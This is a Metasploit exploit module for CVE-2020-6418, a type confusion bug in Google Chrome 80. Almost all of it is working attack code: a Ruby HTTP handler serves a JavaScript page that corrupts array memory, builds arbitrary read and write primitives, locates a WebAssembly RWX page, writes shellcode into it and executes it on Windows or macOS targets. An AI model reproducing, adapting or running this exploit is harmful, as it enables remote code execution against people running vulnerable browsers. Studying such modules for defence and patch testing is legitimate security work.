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## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ManualRanking include Msf::Post::File include Msf::Exploit::Remote::HttpServer def initialize(info = {}) super(update_info(info, 'Name' => 'Google Chrome 80 JSCreate side-effect type confusion exploit', 'Description'=> %q{ This module exploits an issue in Google Chrome 80.0.3987.87 (64 bit). The exploit corrupts the length of a float array (float_rel), which can then be used for out of bounds read and write on adjacent memory. The relative read and write is then used to modify a UInt64Array (uint64_aarw) which is used for read and writing from absolute memory. The exploit then uses WebAssembly in order to allocate a region of RWX memory, which is then replaced with the payload shellcode. The payload is executed within the sandboxed renderer process, so the browser must be run with the --no-sandbox option for the payload to work correctly. }, 'License'=> MSF_LICENSE, 'Author' => [ 'Clément Lecigne', # discovery 'István Kurucsai', # exploit 'Vignesh S Rao', # exploit 'timwr', # metasploit copypasta ], 'References' => [ ['CVE', '2020-6418'], ['URL', 'https://bugs.chromium.org/p/chromium/issues/detail?id=1053604'], ['URL', 'https://blog.exodusintel.com/2020/02/24/a-eulogy-for-patch-gapping'], ['URL', 'https://ray-cp.github.io/archivers/browser-pwn-cve-2020-6418%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90'], ], 'Arch' => [ ARCH_X64 ], 'DefaultTarget'=> 0, 'Targets'=> [ ['Windows 10 - Google Chrome 80.0.3987.87 (64 bit)', {'Platform' => 'win'}], ['macOS - Google Chrome 80.0.3987.87 (64 bit)', {'Platform' => 'osx'}], ], 'DisclosureDate' => 'Feb 19 2020')) register_advanced_options([ OptBool.new('DEBUG_EXPLOIT', [false, "Show debug information during exploitation", false]), ]) end def on_request_uri(cli, request) if datastore['DEBUG_EXPLOIT'] && request.uri =~ %r{/print$*} print_status("[*] #{request.body}") send_response(cli, '') return end print_status("Sending #{request.uri} to #{request['User-Agent']}") escaped_payload = Rex::Text.to_unescape(payload.raw) jscript = %Q^ var shellcode = unescape("#{escaped_payload}"); // HELPER FUNCTIONS let conversion_buffer = new ArrayBuffer(8); let float_view = new Float64Array(conversion_buffer); let int_view = new BigUint64Array(conversion_buffer); BigInt.prototype.hex = function() { return '0x' + this.toString(16); }; BigInt.prototype.i2f = function() { int_view[0] = this; return float_view[0]; } BigInt.prototype.smi2f = function() { int_view[0] = this << 32n; return float_view[0]; } Number.prototype.f2i = function() { float_view[0] = this; return int_view[0]; } Number.prototype.f2smi = function() { float_view[0] = this; return int_view[0] >> 32n; } Number.prototype.fhw = function() { float_view[0] = this; return int_view[0] >> 32n; } Number.prototype.flw = function() { float_view[0] = this; return int_view[0] & BigInt(2**32-1); } Number.prototype.i2f = function() { return BigInt(this).i2f(); } Number.prototype.smi2f = function() { return BigInt(this).smi2f(); } function hex(a) { return a.toString(16); } // // EXPLOIT // // the number of holes here determines the OOB write offset let vuln = [0.1, ,,,,,,,,,,,,,,,,,,,,,, 6.1, 7.1, 8.1]; var float_rel;// float array, initially corruption target var float_carw; // float array, used for reads/writes within the compressed heap var uint64_aarw;// uint64 typed array, used for absolute reads/writes in the entire address space var obj_leaker; // used to implement addrof vuln.pop(); vuln.pop(); vuln.pop(); function empty() {} function f(nt) { // The compare operation enforces an effect edge between JSCreate and Array.push, thus introducing the bug vuln.push(typeof(Reflect.construct(empty, arguments, nt)) === Proxy ? 0.2 : 156842065920.05); for (var i = 0; i < 0x10000; ++i) {}; } let p = new Proxy(Object, { get: function() { vuln[0] = {}; float_rel = [0.2, 1.2, 2.2, 3.2, 4.3]; float_carw = [6.6]; uint64_aarw = new BigUint64Array(4); obj_leaker = { a: float_rel, b: float_rel, }; return Object.prototype; } }); function main(o) { for (var i = 0; i < 0x10000; ++i) {}; return f(o); } // reads 4 bytes from the compressed heap at the specified dword offset after float_rel function crel_read4(offset) { var qw_offset = Math.floor(offset / 2); if (offset & 1 == 1) { return float_rel[qw_offset].fhw(); } else { return float_rel[qw_offset].flw(); } } // writes the specified 4-byte BigInt value to the compressed heap at the specified offset after float_rel function crel_write4(offset, val) { var qw_offset = Math.floor(offset / 2); // we are writing an 8-byte double under the hood // read out the other half and keep its value if (offset & 1 == 1) { temp = float_rel[qw_offset].flw(); new_val = (val << 32n | temp).i2f(); float_rel[qw_offset] = new_val; } else { temp = float_rel[qw_offset].fhw(); new_val = (temp << 32n | val).i2f(); float_rel[qw_offset] = new_val; } } const float_carw_elements_offset = 0x14; function cabs_read4(caddr) { elements_addr = caddr - 8n | 1n; crel_write4(float_carw_elements_offset, elements_addr); print('cabs_read4: ' + hex(float_carw[0].f2i())); res = float_carw[0].flw(); // TODO restore elements ptr return res; } // This function provides arbitrary within read the compressed heap function cabs_read8(caddr) { elements_addr = caddr - 8n | 1n; crel_write4(float_carw_elements_offset, elements_addr); print('cabs_read8: ' + hex(float_carw[0].f2i())); res = float_carw[0].f2i(); // TODO restore elements ptr return res; } // This function provides arbitrary write within the compressed heap function cabs_write4(caddr, val) { elements_addr = caddr - 8n | 1n; temp = cabs_read4(caddr + 4n | 1n); print('cabs_write4 temp: '+ hex(temp)); new_val = (temp << 32n | val).i2f(); crel_write4(float_carw_elements_offset, elements_addr); print('cabs_write4 prev_val: '+ hex(float_carw[0].f2i())); float_carw[0] = new_val; // TODO restore elements ptr return res; } const objleaker_offset = 0x41; function addrof(o) { obj_leaker.b = o; addr = crel_read4(objleaker_offset) & BigInt(2**32-2); obj_leaker.b = {}; return addr; } const uint64_externalptr_offset = 0x1b; // in 8-bytes // Arbitrary read. We corrupt the backing store of the <code>uint64_aarw</code> array and then read from the array function read8(addr) { faddr = addr.i2f(); t1 = float_rel[uint64_externalptr_offset]; t2 = float_rel[uint64_externalptr_offset + 1]; float_rel[uint64_externalptr_offset] = faddr; float_rel[uint64_externalptr_offset + 1] = 0.0; val = uint64_aarw[0]; float_rel[uint64_externalptr_offset] = t1; float_rel[uint64_externalptr_offset + 1] = t2; return val; } // Arbitrary write. We corrupt the backing store of the <code>uint64_aarw</code> array and then write into the array function write8(addr, val) { faddr = addr.i2f(); t1 = float_rel[uint64_externalptr_offset]; t2 = float_rel[uint64_externalptr_offset + 1]; float_rel[uint64_externalptr_offset] = faddr; float_rel[uint64_externalptr_offset + 1] = 0.0; uint64_aarw[0] = val; float_rel[uint64_externalptr_offset] = t1; float_rel[uint64_externalptr_offset + 1] = t2; return val; } // Given an array of bigints, this will write all the elements to the address provided as argument function writeShellcode(addr, sc) { faddr = addr.i2f(); t1 = float_rel[uint64_externalptr_offset]; t2 = float_rel[uint64_externalptr_offset + 1]; float_rel[uint64_externalptr_offset - 1] = 10; float_rel[uint64_externalptr_offset] = faddr; float_rel[uint64_externalptr_offset + 1] = 0.0; for (var i = 0; i < sc.length; ++i) { uint64_aarw[i] = sc[i] } float_rel[uint64_externalptr_offset] = t1; float_rel[uint64_externalptr_offset + 1] = t2; } function get_compressed_rw() { for (var i = 0; i < 0x10000; ++i) {empty();} main(empty); main(empty); // Function would be jit compiled now. main(p); print(<code>Corrupted length of float_rel array = ${float_rel.length}</code>); } function get_arw() { get_compressed_rw(); print('should be 0x2: ' + hex(crel_read4(0x15))); let previous_elements = crel_read4(0x14); //print(hex(previous_elements)); //print(hex(cabs_read4(previous_elements))); //print(hex(cabs_read4(previous_elements + 4n))); cabs_write4(previous_elements, 0x66554433n); //print(hex(cabs_read4(previous_elements))); //print(hex(cabs_read4(previous_elements + 4n))); print('addrof(float_rel): ' + hex(addrof(float_rel))); uint64_aarw[0] = 0x4142434445464748n; } function rce() { function get_wasm_func() { var importObject = { imports: { imported_func: arg => print(arg) } }; bc = [0x0, 0x61, 0x73, 0x6d, 0x1, 0x0, 0x0, 0x0, 0x1, 0x8, 0x2, 0x60, 0x1, 0x7f, 0x0, 0x60, 0x0, 0x0, 0x2, 0x19, 0x1, 0x7, 0x69, 0x6d, 0x70, 0x6f, 0x72, 0x74, 0x73, 0xd, 0x69, 0x6d, 0x70, 0x6f, 0x72, 0x74, 0x65, 0x64, 0x5f, 0x66, 0x75, 0x6e, 0x63, 0x0, 0x0, 0x3, 0x2, 0x1, 0x1, 0x7, 0x11, 0x1, 0xd, 0x65, 0x78, 0x70, 0x6f, 0x72, 0x74, 0x65, 0x64, 0x5f, 0x66, 0x75, 0x6e, 0x63, 0x0, 0x1, 0xa, 0x8, 0x1, 0x6, 0x0, 0x41, 0x2a, 0x10, 0x0, 0xb]; wasm_code = new Uint8Array(bc); wasm_mod = new WebAssembly.Instance(new WebAssembly.Module(wasm_code), importObject); return wasm_mod.exports.exported_func; } let wasm_func = get_wasm_func(); //traverse the JSFunction object chain to find the RWX WebAssembly code page let wasm_func_addr = addrof(wasm_func); let sfi = cabs_read4(wasm_func_addr + 12n) - 1n; print('sfi: ' + hex(sfi)); let WasmExportedFunctionData = cabs_read4(sfi + 4n) - 1n; print('WasmExportedFunctionData: ' + hex(WasmExportedFunctionData)); let instance = cabs_read4(WasmExportedFunctionData + 8n) - 1n; print('instance: ' + hex(instance)); let wasm_rwx_addr = cabs_read8(instance + 0x68n); print('wasm_rwx_addr: ' + hex(wasm_rwx_addr)); // write the shellcode to the RWX page while(shellcode.length % 4 != 0){ shellcode += "\u9090"; } let sc = []; // convert the shellcode to BigInt for (let i = 0; i < shellcode.length; i += 4) { sc.push(BigInt(shellcode.charCodeAt(i)) + BigInt(shellcode.charCodeAt(i + 1) * 0x10000) + BigInt(shellcode.charCodeAt(i + 2) * 0x100000000) + BigInt(shellcode.charCodeAt(i + 3) * 0x1000000000000)); } writeShellcode(wasm_rwx_addr,sc); print('success'); wasm_func(); } function exp() { get_arw(); rce(); } exp(); ^ if datastore['DEBUG_EXPLOIT'] debugjs = %Q^ print = function(arg) { var request = new XMLHttpRequest(); request.open("POST", "/print", false); request.send("" + arg); }; ^ jscript = "#{debugjs}#{jscript}" else jscript.gsub!(/\/\/.*$/, '') # strip comments jscript.gsub!(/^\s*print\s*\(.*?\);\s*$/, '') # strip print(*); end html = %Q^ <html> <head> <script> #{jscript} </script> </head> <body> </body> </html> ^ send_response(cli, html, {'Content-Type'=>'text/html', 'Cache-Control' => 'no-cache, no-store, must-revalidate', 'Pragma' => 'no-cache', 'Expires' => '0'}) end end |
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